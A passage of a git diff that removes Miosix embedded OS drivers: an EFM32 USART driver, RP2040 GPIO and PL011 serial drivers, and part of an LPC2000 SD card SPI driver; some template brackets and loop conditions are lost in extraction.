port->FRAME=USART_FRAME_STOPBITS_ONE - | USART_FRAME_PARITY_NONE - | USART_FRAME_DATABITS_EIGHT; - port->TRIGCTRL=0; - #ifdef _ARCH_CORTEXM3_EFM32GG - port->INPUT=0; - port->I2SCTRL=0; - #endif //_ARCH_CORTEXM3_EFM32GG - port->ROUTE=USART_ROUTE_LOCATION_LOC0 //Default location - | USART_ROUTE_TXPEN //Enable TX pin - | USART_ROUTE_RXPEN; //Enable RX pin - unsigned int periphClock=SystemHFClockGet()/(1<<(CMU->HFPERCLKDIV & 0xf)); - //The number we need is periphClock/baudrate/16-1, but with two bits of - //fractional part. We divide by 2 instead of 16 to have 3 bit of fractional - //part. We use the additional fractional bit to add one to round towards - //the nearest. This gets us a little more precision. Then we subtract 8 - //which is one with three fractional bits. Then we shift to fit the integer - //part in bits 20:8 and the fractional part in bits 7:6, masking away the - //third fractional bit. Easy, isn't it? Not quite. - port->CLKDIV=((((periphClock/baudrate/2)+1)-8)<<5) & 0x1fffc0; - port->CMD=USART_CMD_CLEARRX - | USART_CMD_CLEARTX - | USART_CMD_TXTRIDIS - | USART_CMD_RXBLOCKDIS - | USART_CMD_MASTEREN - | USART_CMD_TXEN - | USART_CMD_RXEN; -} - -ssize_t EFM32Serial::readBlock(void *buffer, size_t size, off_t where) -{ - Lock l(rxMutex); - char *buf=reinterpret_cast(buffer); - size_t result=0; - FastInterruptDisableLock dLock; - for(;;) - { - //Try to get data from the queue - for(;result0) break; - //Wait for data in the queue - do { - rxWaiting=Thread::IRQgetCurrentThread(); - Thread::IRQwait(); - { - FastInterruptEnableLock eLock(dLock); - Thread::yield(); - } - } while(rxWaiting); - } - return result; -} - -ssize_t EFM32Serial::writeBlock(const void *buffer, size_t size, off_t where) -{ - Lock l(txMutex); - const char *buf=reinterpret_cast(buffer); - for(size_t i=0;iSTATUS & USART_STATUS_TXBL)==0) ; - port->TXDATA=*buf++; - } - return size; -} - -void EFM32Serial::IRQwrite(const char *str) -{ - // We can reach here also with only kernel paused, so make sure - // interrupts are disabled. - bool interrupts=areInterruptsEnabled(); - if(interrupts) fastDisableInterrupts(); - while(*str) - { - while((port->STATUS & USART_STATUS_TXBL)==0) ; - port->TXDATA=*str++; - } - waitSerialTxFifoEmpty(); - if(interrupts) fastEnableInterrupts(); -} - -int EFM32Serial::ioctl(int cmd, void* arg) -{ - if(reinterpret_cast(arg) & 0b11) return -EFAULT; //Unaligned - termios *t=reinterpret_cast(arg); - switch(cmd) - { - case IOCTL_SYNC: - waitSerialTxFifoEmpty(); - return 0; - case IOCTL_TCGETATTR: - t->c_iflag=IGNBRK | IGNPAR; - t->c_oflag=0; - t->c_cflag=CS8; - t->c_lflag=0; - return 0; - case IOCTL_TCSETATTR_NOW: - case IOCTL_TCSETATTR_DRAIN: - case IOCTL_TCSETATTR_FLUSH: - //Changing things at runtime unsupported, so do nothing, but don't - //return error as console_device.h implements some attribute changes - return 0; - default: - return -ENOTTY; //Means the operation does not apply to this descriptor - } -} - -void EFM32Serial::IRQhandleInterrupt() -{ - bool atLeastOne=false; - while(port->STATUS & USART_STATUS_RXDATAV) - { - unsigned int c=port->RXDATAX; - if((c & (USART_RXDATAX_FERR | USART_RXDATAX_PERR))==0) - { - atLeastOne=true; - if(rxQueue.tryPut(c & 0xff)==false) /*fifo overflow*/; - } - } - if(atLeastOne && rxWaiting) - { - rxWaiting->IRQwakeup(); - if(rxWaiting->IRQgetPriority()> - Thread::IRQgetCurrentThread()->IRQgetPriority()) - Scheduler::IRQfindNextThread(); - rxWaiting=0; - } - -} - -EFM32Serial::~EFM32Serial() -{ - waitSerialTxFifoEmpty(); - - InterruptDisableLock dLock; - port->CMD=USART_CMD_TXDIS - | USART_CMD_RXDIS; - port->ROUTE=0; - switch(portId) - { - #ifndef DISABLE_USART0_DRIVER - case 0: - port0=nullptr; - NVIC_DisableIRQ(USART0_RX_IRQn); - NVIC_ClearPendingIRQ(USART0_RX_IRQn); - u0tx::mode(Mode::DISABLED); - u0rx::mode(Mode::DISABLED); - CMU->HFPERCLKEN0 &= ~CMU_HFPERCLKEN0_USART0; - break; - #endif //DISABLE_USART0_DRIVER - #ifndef DISABLE_USART1_DRIVER - case 1: - port1=nullptr; - NVIC_DisableIRQ(USART1_RX_IRQn); - NVIC_ClearPendingIRQ(USART1_RX_IRQn); - u1tx::mode(Mode::DISABLED); - u1rx::mode(Mode::DISABLED); - CMU->HFPERCLKEN0 &= ~CMU_HFPERCLKEN0_USART1; - break; - #endif //DISABLE_USART0_DRIVER - } -} - -void EFM32Serial::waitSerialTxFifoEmpty() -{ - //The documentation states that the TXC bit goes to one as soon as a - //transmission is complete. However, this bit is initially zero, so if we - //call this function before transmitting, the loop will wait forever. As a - //solution, add a timeout having as value the time needed to send three - //bytes (the current one in the shift register plus the two in the buffer). - //The +1 is to produce rounding on the safe side, the 30 is the time to send - //three char through the port, including start and stop bits. - int timeout=(SystemCoreClock/baudrate+1)*30; - while(timeout-->0 && (port->STATUS & USART_STATUS_TXC)==0) ; -} - -} //namespace miosix diff --git a/miosix/arch/common/drivers/rp2040_gpio.h b/miosix/arch/common/drivers/rp2040_gpio.h deleted file mode 100644 index 912b3f7ea..000000000 --- a/miosix/arch/common/drivers/rp2040_gpio.h +++ /dev/null @@ -1,306 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2024 by Daniele Cattaneo * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -#include "interfaces/arch_registers.h" - -//There is just one GPIO port on RP2040, with 30 lines -const unsigned int GPIOA_BASE=0; - -namespace miosix { - -class Mode -{ -public: - /** - * GPIO pad mode (INPUT, OUTPUT, ...) - * \code pin::mode(Mode::INPUT);\endcode - */ - enum Mode_ - { - DISABLED = 0b10000000, - PULL_UP = 0b00001000, - PULL_DOWN = 0b00000100, - INPUT = 0b11000000, - INPUT_PULL_UP = 0b11001000, - INPUT_PULL_DOWN = 0b11000100, - INPUT_SCHMITT_TRIG = 0b11000010, - INPUT_SCHMITT_TRIG_PULL_UP = 0b11001010, - INPUT_SCHMITT_TRIG_PULL_DOWN = 0b11000110, - OUTPUT = 0b01000000, - }; -private: - Mode(); //Just a wrapper class, disallow creating instances -}; - -class DriveStrength -{ -public: - /** - * Drive strength for GPIO pads - */ - enum DriveStrength_ - { - HIGHER = 3, ///< 12mA max - HIGH = 2, ///< 8mA max - STANDARD = 1, ///< 4mA max - LOW = 0 ///< 2mA max - }; -private: - DriveStrength(); //Just a wrapper class, disallow creating instances -}; - -class Function -{ -public: - /** - * GPIO function - */ - enum Function_ - { - SPI = IO_BANK0_GPIO0_CTRL_FUNCSEL_VALUE_SPI0_RX, - UART = IO_BANK0_GPIO0_CTRL_FUNCSEL_VALUE_UART0_TX, - I2C = IO_BANK0_GPIO0_CTRL_FUNCSEL_VALUE_I2C0_SDA, - PWM = IO_BANK0_GPIO0_CTRL_FUNCSEL_VALUE_PWM_A_0, - // SIO = Single cycle IO, a silly name for normal CPU-driven GPIOs - SIO = IO_BANK0_GPIO0_CTRL_FUNCSEL_VALUE_SIO_0, - GPIO = SIO, - PIO0 = IO_BANK0_GPIO0_CTRL_FUNCSEL_VALUE_PIO0_0, - PIO1 = IO_BANK0_GPIO0_CTRL_FUNCSEL_VALUE_PIO1_0, - // Host USB VDD monitoring - USBMON = IO_BANK0_GPIO0_CTRL_FUNCSEL_VALUE_USB_MUXING_OVERCURR_DETECT, - }; -private: - Function(); //Just a wrapper class, disallow creating instances -}; - -/** - * This class allows to easiliy pass a Gpio as a parameter to a function. - * Accessing a GPIO through this class is slower than with just the Gpio, - * but is a convenient alternative in some cases. Also, an instance of this - * class occupies a few bytes of memory, unlike the Gpio class. - * - * To instantiate classes of this type, use Gpio::getPin() - * \code - * typedef Gpio led; - * GpioPin ledPin=led::getPin(); - * \endcode - */ -class GpioPin -{ -public: - /** - * \internal - * Constructor. Don't instantiate classes through this constructor, - * rather caller Gpio::getPin(). - * \param port port struct - * \param n which pin (0 to 15) - */ - GpioPin(unsigned int port, unsigned char n): P(port), N(n) {} - - /** - * Set the GPIO to the desired mode (INPUT, OUTPUT, ...) - * \param m enum Mode_ - */ - void mode(Mode::Mode_ m) - { - padsbank0_hw->io[N] = (padsbank0_hw->io[N] & ~0b11001110) | m; - } - - /** - * Set the speed of the GPIO to fast. - */ - void fast() { hw_set_bits(&padsbank0_hw->io[N], 1); } - - /** - * Set the speed of the GPIO to slow. - */ - void slow() { hw_clear_bits(&padsbank0_hw->io[N], 1); } - - /** - * Set the drive strength of the GPIO. - * \param s Desired drive strength. - */ - void strength(DriveStrength::DriveStrength_ s) - { - padsbank0_hw->io[N] = (padsbank0_hw->io[N] & ~0b00110000) | s; - } - - /** - * Set the function for the GPIO. - * \param f The desired function. - * \note To use a GPIO pin directly, set the function to GPIO first. - */ - void function(Function::Function_ f) { iobank0_hw->io[N].ctrl = f; } - - /** - * Set the pin to 1, if it is an output - */ - void high() { sio_hw->gpio_set = 1UL << N; } - - /** - * Set the pin to 0, if it is an output - */ - void low() { sio_hw->gpio_clr = 1UL << N; } - - /** - * Toggle pin, if it is an output - */ - void toggle() { sio_hw->gpio_togl = 1UL << N; } - - /** - * Sets the value of the GPIO (high or low) - * \param v The value (zero for low, non-zero for high) - */ - void write(int v) { if (v) high(); else low(); } - - /** - * Allows to read the pin status - * \return 0 or 1 - */ - int value() { return !!(sio_hw->gpio_out & (1UL << N)); } - - /** - * \return the pin port. One of the constants PORTA_BASE, PORTB_BASE, ... - */ - unsigned int getPort() const { return P; } - - /** - * \return the pin number, from 0 to 15 - */ - unsigned char getNumber() const { return N; } - -private: - const unsigned int P = GPIOA_BASE; - const unsigned char N; -}; - -/** - * Gpio template class - * \param P GPIOA_BASE, GPIOB_BASE, ... - * \param N which pin (0 to 29) - * The intended use is to make a typedef to this class with a meaningful name. - * \code - * typedef Gpio green_led; - * green_led::mode(Mode::OUTPUT); - * green_led::high();//Turn on LED - * \endcode - */ -template -class Gpio -{ -public: - /** - * Set the GPIO to the desired mode (INPUT, OUTPUT, ...) - * \param m enum Mode_ - */ - static void mode(Mode::Mode_ m) - { - padsbank0_hw->io[N] = (padsbank0_hw->io[N] & ~0b11001110) | m; - } - - /** - * Set the speed of the GPIO to fast. - */ - static void fast() { hw_set_bits(&padsbank0_hw->io[N], 1); } - - /** - * Set the speed of the GPIO to slow. - */ - static void slow() { hw_clear_bits(&padsbank0_hw->io[N], 1); } - - /** - * Set the drive strength of the GPIO. - * \param s Desired drive strength. - */ - static void strength(DriveStrength::DriveStrength_ s) - { - padsbank0_hw->io[N] = (padsbank0_hw->io[N] & ~0b00110000) | s; - } - - /** - * Set the function for the GPIO. - * \param f The desired function. - * \note To use a GPIO pin directly, set the function to GPIO first. - */ - static void function(Function::Function_ f) - { - iobank0_hw->io[N].ctrl = f; - } - - /** - * Set the pin to 1, if it is an output - */ - static void high() { sio_hw->gpio_set = 1UL << N; } - - /** - * Set the pin to 0, if it is an output - */ - static void low() { sio_hw->gpio_clr = 1UL << N;} - - /** - * Toggle pin, if it is an output - */ - static void toggle() { sio_hw->gpio_togl = 1UL << N; } - - /** - * Sets the value of the GPIO (high or low) - * \param v The value (zero for low, non-zero for high) - */ - static void write(int v) { if (v) high(); else low(); } - - /** - * Allows to read the pin status - * \return 0 or 1 - */ - static int value() { return !!(sio_hw->gpio_out & (1UL << N)); } - - /** - * \return this Gpio converted as a GpioPin class - */ - static GpioPin getPin() - { - return GpioPin(P, N); - } - - /** - * \return the pin port. One of the constants GPIOA_BASE, GPIOB_BASE, ... - */ - unsigned int getPort() const { return P; } - - /** - * \return the pin number, from 0 to 29 - */ - unsigned char getNumber() const { return N; } - -private: - Gpio();//Only static member functions, disallow creating instances -}; - -} //namespace miosix - diff --git a/miosix/arch/common/drivers/rp2040_serial.cpp b/miosix/arch/common/drivers/rp2040_serial.cpp deleted file mode 100644 index 2d6cc0e48..000000000 --- a/miosix/arch/common/drivers/rp2040_serial.cpp +++ /dev/null @@ -1,201 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2024 by Daniele Cattaneo * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include -#include -#include "kernel/scheduler/scheduler.h" -#include "filesystem/ioctl.h" -#include "rp2040_serial.h" - -miosix::RP2040PL011Serial0 *miosix::internal::uart0Handler; -miosix::RP2040PL011Serial1 *miosix::internal::uart1Handler; - -void __attribute__((naked)) UART0_IRQ_Handler() -{ - saveContext(); - asm volatile("bl %a0"::"i"(miosix::internal::uart0IrqImpl):); - restoreContext(); -} - -void __attribute__((naked)) UART1_IRQ_Handler() -{ - saveContext(); - asm volatile("bl %a0"::"i"(miosix::internal::uart1IrqImpl):); - restoreContext(); -} - -namespace miosix { - -namespace internal { - -void uart0IrqImpl() -{ - if (miosix::internal::uart0Handler) - miosix::internal::uart0Handler->IRQhandleInterrupt(); -} - -void uart1IrqImpl() -{ - if (miosix::internal::uart1Handler) - miosix::internal::uart1Handler->IRQhandleInterrupt(); -} - -} - -ssize_t RP2040PL011SerialBase::readBlock(void *buffer, size_t size, off_t where) -{ - if (size == 0) return 0; - Lock lock(rxMutex); - uint8_t *bytes = reinterpret_cast(buffer); - size_t i = 0; - // Block until we can read the first byte - rxQueue.get(bytes[i++]); - // Get bytes as long as there are bytes in the software queue or the - // hardware FIFO. - // As the interrupt handler never empties the FIFO unless the line is idle, - // this also tells us if the line is idle and we should stop. - while(ifr & UART_UARTFR_RXFE_BITS) || !rxQueue.isEmpty())) - { - rxQueue.get(bytes[i++]); - // Ensure the read interrupts can be serviced to read the next byte. - // The interrupt routine disables them on sw queue full. - if (rxQueue.free()>=32) enableAllInterrupts(); - } - return i; -} - -ssize_t RP2040PL011SerialBase::writeBlock(const void *buffer, size_t size, off_t where) -{ - if (size == 0) return 0; - Lock lock(txMutex); - const uint8_t *bytes = reinterpret_cast(buffer); - size_t i=0; - // Clear the low water semaphore in case it has been left set by a previous - // transfer. Ordinarily the semaphore counter cannot exceed 1 (or 2, see - // later comments), except if somebody is using IRQwrite() a bit too much, - // so we completely reset the semaphore to avoid wasting time on spurious - // wakeups. - txLowWaterFlag.reset(); - // Start by filling the hardware FIFO. - while (ifr & UART_UARTFR_TXFF_BITS)) - uart->dr = bytes[i++]; - while (ifr & UART_UARTFR_TXFF_BITS)) - uart->dr = bytes[i++]; - } - return size; -} - -void RP2040PL011SerialBase::IRQwrite(const char *str) -{ - // We can reach here also with only kernel paused, so make sure - // interrupts are disabled. - bool interrupts=areInterruptsEnabled(); - if(interrupts) fastDisableInterrupts(); - // Write to the data register directly - for (int i=0; str[i] != '\0'; i++) - { - while (uart->fr & UART_UARTFR_TXFF_BITS) {} - uart->dr = str[i]; - } - // Flush - while (!(uart->fr & UART_UARTFR_TXFE_BITS)) {} - // We might be tempted to clear the TX interrupt status, but we shouldn't - // do this as there might be another thread writing to the UART which needs - // that interrupt to be signalled anyway. - if(interrupts) fastEnableInterrupts(); -} - -void RP2040PL011SerialBase::IRQhandleInterrupt() -{ - bool hppw=false; - uint32_t flags = uart->mis; - if(flags & UART_UARTMIS_TXMIS_BITS) - { - // Wake up the thread currently writing and clear interrupt status - txLowWaterFlag.IRQsignal(hppw); - uart->icr = UART_UARTICR_TXIC_BITS; - } - if(flags & (UART_UARTMIS_RXMIS_BITS|UART_UARTMIS_RTMIS_BITS)) - { - // Read enough data to clear the interrupt status, - // or until the software-side queue is full - while((uart->mis & (UART_UARTMIS_RXMIS_BITS|UART_UARTMIS_RTMIS_BITS)) - && !rxQueue.isFull()) - rxQueue.IRQput((uint8_t)uart->dr, hppw); - // If the sw queue is full, mask RX interrupts temporarily. The - // device read handler will un-mask them when the queue has some - // space again. If there was more data to read and hence the interrupt - // flag was not cleared, un-masking the interrupts causes the immediate - // reentry in this interrupt handler, which allows to finish the work - // without losing the line idle status information (which only exists - // in the interrupt flags). - if(rxQueue.isFull()) disableRXInterrupts(); - } - // Reschedule if needed - if(hppw) Scheduler::IRQfindNextThread(); -} - -int RP2040PL011SerialBase::ioctl(int cmd, void *arg) -{ - if(reinterpret_cast(arg) & 0b11) return -EFAULT; //Unaligned - termios *t=reinterpret_cast(arg); - switch(cmd) - { - case IOCTL_SYNC: - while (!(uart->fr & UART_UARTFR_TXFE_BITS)) {} - return 0; - case IOCTL_TCGETATTR: - t->c_iflag=IGNBRK | IGNPAR; - t->c_oflag=0; - t->c_cflag=CS8; - t->c_lflag=0; - return 0; - case IOCTL_TCSETATTR_NOW: - case IOCTL_TCSETATTR_DRAIN: - case IOCTL_TCSETATTR_FLUSH: - //Changing things at runtime unsupported, so do nothing, but don't - //return error as console_device.h implements some attribute changes - return 0; - default: - return -ENOTTY; //Means the operation does not apply to this descriptor - } -} - -} // namespace miosix diff --git a/miosix/arch/common/drivers/rp2040_serial.h b/miosix/arch/common/drivers/rp2040_serial.h deleted file mode 100644 index 0941e283d..000000000 --- a/miosix/arch/common/drivers/rp2040_serial.h +++ /dev/null @@ -1,234 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2024 by Daniele Cattaneo * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -#include "filesystem/console/console_device.h" -#include "kernel/sync.h" -#include "kernel/queue.h" -#include "interfaces/arch_registers.h" - -namespace miosix { - -class RP2040PL011Serial0; -class RP2040PL011Serial1; - -namespace internal { - -extern RP2040PL011Serial0 *uart0Handler; -extern RP2040PL011Serial1 *uart1Handler; - -void uart0IrqImpl(); -void uart1IrqImpl(); - -} // namespace internal - -class RP2040PL011SerialBase : public Device -{ -public: - /** - * \internal - * Internal PL011 driver base class constructor - * \param uart Pointer to the hardware registers - * \param queueSize Size of the RX queue - */ - RP2040PL011SerialBase(uart_hw_t *uart, unsigned int queueSize) : - Device(Device::TTY), uart(uart), txLowWaterFlag(1), rxQueue(queueSize) - {} - - /** - * Read a block of data - * \param buffer buffer where read data will be stored - * \param size buffer size - * \param where where to read from - * \return number of bytes read or a negative number on failure. Note that - * it is normal for this function to return less character than the amount - * asked - */ - ssize_t readBlock(void *buffer, size_t size, off_t where); - - /** - * Write a block of data - * \param buffer buffer where take data to write - * \param size buffer size - * \param where where to write to - * \return number of bytes written or a negative number on failure - */ - ssize_t writeBlock(const void *buffer, size_t size, off_t where); - - /** - * Write a string. - * An extension to the Device interface that adds a new member function, - * which is used by the kernel on console devices to write debug information - * before the kernel is started or in case of serious errors, right before - * rebooting. - * Can ONLY be called when the kernel is not yet started, paused or within - * an interrupt. This default implementation ignores writes. - * \param str the string to write. The string must be NUL terminated. - */ - void IRQwrite(const char *str); - - /** - * Performs device-specific operations - * \param cmd specifies the operation to perform - * \param arg optional argument that some operation require - * \return the exact return value depends on CMD, -1 is returned on error - */ - int ioctl(int cmd, void *arg); - - /** - * Destructor - */ - ~RP2040PL011SerialBase() - { - //Disable UART operation - uart->cr = 0; - } - -protected: - // Initialize the serial port for a given baud rate. This function is in the - // header to allow compile-time computation of the baud rate through - // inlining - void init(int baudrate, bool rts, bool cts) - { - //Configure interrupts - uart->ifls = (2<ibrd = div; - uart->fbrd = frac; - //Line configuration and UART enable - uart->lcr_h = (3 << UART_UARTLCR_H_WLEN_LSB) | UART_UARTLCR_H_FEN_BITS; - uart->cr = UART_UARTCR_UARTEN_BITS | UART_UARTCR_TXE_BITS | - UART_UARTCR_RXE_BITS | (rts ? UART_UARTCR_RTSEN_BITS : 0) | - (cts ? UART_UARTCR_CTSEN_BITS : 0); - } - -private: - friend void internal::uart0IrqImpl(); - friend void internal::uart1IrqImpl(); - - /** - * \internal the serial port interrupts call this member function. - * Never call this from user code. - */ - void IRQhandleInterrupt(); - - // Internal function to disable RX interrupts when the buffer is full - inline void disableRXInterrupts() - { - uart->imsc = UART_UARTIMSC_TXIM_BITS; - } - - // Internal function to enable RX and TX interrupts for normal operation - inline void enableAllInterrupts() - { - uart->imsc = UART_UARTIMSC_RTIM_BITS | UART_UARTIMSC_RXIM_BITS | - UART_UARTIMSC_TXIM_BITS; - } - - uart_hw_t * const uart; ///< Pointer to the hardware registers - FastMutex txMutex; ///< Mutex locked during transmission - FastMutex rxMutex; ///< Mutex locked during reception - /// Semaphore flagged when the hardware TX FIFO is ready to receive bytes - Semaphore txLowWaterFlag; - /// Software queue used for buffering bytes from the hardware RX FIFO - DynQueue rxQueue; -}; - -class RP2040PL011Serial0 : public RP2040PL011SerialBase -{ -public: - /** - * Constructor, initializes the serial port. - * Calls errorHandler(UNEXPECTED) if the port is already being used by - * another instance of this driver. - * \param baudrate serial port baudrate - * \param rts true to enable the RTS flow control signal - * \param rts true to enable the CTS flow control signal - */ - RP2040PL011Serial0(int baudrate, bool rts=false, bool cts=false) - : RP2040PL011SerialBase(uart0_hw, 32+baudrate/500) - { - if(internal::uart0Handler != nullptr) errorHandler(UNEXPECTED); - internal::uart0Handler = this; - unreset_block_wait(RESETS_RESET_UART0_BITS); - init(baudrate, rts, cts); - // UART IRQ saves context: its priority must be 3 (see portability.cpp) - NVIC_SetPriority(UART0_IRQ_IRQn, 3); - NVIC_EnableIRQ(UART0_IRQ_IRQn); - } - - /** - * Destructor - */ - ~RP2040PL011Serial0() - { - NVIC_DisableIRQ(UART0_IRQ_IRQn); - NVIC_ClearPendingIRQ(UART0_IRQ_IRQn); - internal::uart0Handler = nullptr; - } -}; - -class RP2040PL011Serial1 : public RP2040PL011SerialBase -{ -public: - /** - * Constructor, initializes the serial port. - * Calls errorHandler(UNEXPECTED) if the port is already being used by - * another instance of this driver. - * \param baudrate serial port baudrate - * \param rts true to enable the RTS flow control signal - * \param rts true to enable the CTS flow control signal - */ - RP2040PL011Serial1(int baudrate, bool rts=false, bool cts=false) - : RP2040PL011SerialBase(uart1_hw, 32+baudrate/500) - { - if(internal::uart1Handler != nullptr) errorHandler(UNEXPECTED); - internal::uart1Handler = this; - unreset_block_wait(RESETS_RESET_UART1_BITS); - init(baudrate, rts, cts); - // UART IRQ saves context: its priority must be 3 (see portability.cpp) - NVIC_SetPriority(UART1_IRQ_IRQn, 3); - NVIC_EnableIRQ(UART1_IRQ_IRQn); - } - - /** - * Destructor - */ - ~RP2040PL011Serial1() - { - NVIC_DisableIRQ(UART1_IRQ_IRQn); - NVIC_ClearPendingIRQ(UART1_IRQ_IRQn); - internal::uart1Handler = nullptr; - } -}; - -} //namespace miosix diff --git a/miosix/arch/common/drivers/sd_lpc2000.cpp b/miosix/arch/common/drivers/sd_lpc2000.cpp deleted file mode 100644 index 4ff56e689..000000000 --- a/miosix/arch/common/drivers/sd_lpc2000.cpp +++ /dev/null @@ -1,587 +0,0 @@ -/* - * Integration in Miosix by Terraneo Federico. - * Based on code by Martin Thomas to initialize SD cards from LPC2000 - */ - -#include "sd_lpc2000.h" -#include "interfaces/bsp.h" -#include "LPC213x.h" -#include "board_settings.h" //For sdVoltage -#include -#include - -//Note: enabling debugging might cause deadlock when using sleep() or reboot() -//The bug won't be fixed because debugging is only useful for driver development -///\internal Debug macro, for normal conditions -//#define DBG iprintf -#define DBG(x,...) do {} while(0) -///\internal Debug macro, for errors only -//#define DBGERR iprintf -#define DBGERR(x,...) do {} while(0) - -namespace miosix { - -///\internal Type of card (1<<0)=MMC (1<<1)=SDv1 (1<<2)=SDv2 (1<<2)|(1<<3)=SDHC -static unsigned char cardType=0; - -/* - * Definitions for MMC/SDC command. - * A command has the following format: - * - 1 bit @ 0 (start bit) - * - 1 bit @ 1 (transmission bit) - * - 6 bit which identify command index (CMD0..CMD63) - * - 32 bit command argument - * - 7 bit CRC - * - 1 bit @ 1 (end bit) - * In addition, ACMDxx are the sequence of two commands, CMD55 and CMDxx - * These constants have the following meaninig: - * - bit #7 @ 1 indicates that it is an ACMD. send_cmd() will send CMD55, then - * clear this bit and send the command with this bit @ 0 (which is start bit) - * - bit #6 always @ 1, because it is the transmission bit - * - remaining 6 bit represent command index - */ -#define CMD0 (0x40+0) /* GO_IDLE_STATE */ -#define CMD1 (0x40+1) /* SEND_OP_COND (MMC) */ -#define ACMD41 (0xC0+41) /* SEND_OP_COND (SDC) */ -#define CMD8 (0x40+8) /* SEND_IF_COND */ -#define CMD9 (0x40+9) /* SEND_CSD */ -#define CMD10 (0x40+10) /* SEND_CID */ -#define CMD12 (0x40+12) /* STOP_TRANSMISSION */ -#define CMD13 (0x40+13) /* SEND_STATUS */ -#define ACMD13 (0xC0+13) /* SD_STATUS (SDC) */ -#define CMD16 (0x40+16) /* SET_BLOCKLEN */ -#define CMD17 (0x40+17) /* READ_SINGLE_BLOCK */ -#define CMD18 (0x40+18) /* READ_MULTIPLE_BLOCK */ -#define CMD23 (0x40+23) /* SET_BLOCK_COUNT (MMC) */ -#define ACMD23 (0xC0+23) /* SET_WR_BLK_ERASE_COUNT (SDC) */ -#define CMD24 (0x40+24) /* WRITE_BLOCK */ -#define CMD25 (0x40+25) /* WRITE_MULTIPLE_BLOCK */ -#define CMD42 (0x40+42) /* LOCK_UNLOCK */ -#define CMD55 (0x40+55) /* APP_CMD */ -#define CMD58 (0x40+58) /* READ_OCR */ - -// SSPCR0 Bit-Definitions -#define CPOL 6 -#define CPHA 7 -// SSPCR1 Bit-Defintions -#define SSE 1 -#define MS 2 -#define SCR 8 -// SSPSR Bit-Definitions -#define TNF 1 -#define RNE 2 -#define BSY 4 - -#define SPI_SCK_PIN 17 // SCK P0.17 out -#define SPI_MISO_PIN 18 // MISO P0.18 in -#define SPI_MOSI_PIN 19 // MOSI P0.19 out -#define SPI_SS_PIN 20 // CS p0.20 out - -#define SPI_SCK_FUNCBIT 2 -#define SPI_MISO_FUNCBIT 4 -#define SPI_MOSI_FUNCBIT 6 -#define SPI_SS_FUNCBIT 8 - -///\internal Maximum speed 14745600/2=7372800 -#define SPI_PRESCALE_MIN 2 - -///\internal Select/unselect card -#define CS_LOW() IOCLR0 = (1<0x00FF) - print_error_code((unsigned char)(value>>8)); - else - DBGERR("Unknown error 0x%x\n",value); - break; - } - return -1; -} - -/** - * \internal - * Wait until card is ready - */ -static unsigned char wait_ready() -{ - unsigned char result; - spi_1_send(0xff); - for(int i=0;i<460800;i++)//Timeout ~500ms - { - result=spi_1_send(0xff); - if(result==0xff) return 0xff; - if(i%500==0) DBG("*\n"); - } - DBGERR("Error: wait_ready()\n"); - return result; -} - -/** - * \internal - * Send a command to the SD card - * \param cmd one among the #define'd commands - * \param arg command's argument - * \return command's r1 response. If command returns a longer response, the user - * can continue reading the response with spi_1_send(0xff) - */ -static unsigned char send_cmd(unsigned char cmd, unsigned int arg) -{ - unsigned char n, res; - if(cmd & 0x80) - { // ACMD is the command sequence of CMD55-CMD - cmd&=0x7f; - res=send_cmd(CMD55,0); - if(res>1) return res; - } - - // Select the card and wait for ready - CS_HIGH(); - CS_LOW(); - - if(cmd==CMD0) - { - //wait_ready on CMD0 seems to cause infinite loop - spi_1_send(0xff); - } else { - if(wait_ready()!=0xff) return 0xff; - } - // Send command - spi_1_send(cmd); // Start + Command index - spi_1_send((unsigned char)(arg >> 24)); // Argument[31..24] - spi_1_send((unsigned char)(arg >> 16)); // Argument[23..16] - spi_1_send((unsigned char)(arg >> 8)); // Argument[15..8] - spi_1_send((unsigned char)arg); // Argument[7..0] - n=0x01; // Dummy CRC + Stop - if (cmd==CMD0) n=0x95; // Valid CRC for CMD0(0) - if (cmd==CMD8) n=0x87; // Valid CRC for CMD8(0x1AA) - spi_1_send(n); - // Receive response - if (cmd==CMD12) spi_1_send(0xff); // Skip a stuff byte when stop reading - n=10; // Wait response, try 10 times - do - res=spi_1_send(0xff); - while ((res & 0x80) && 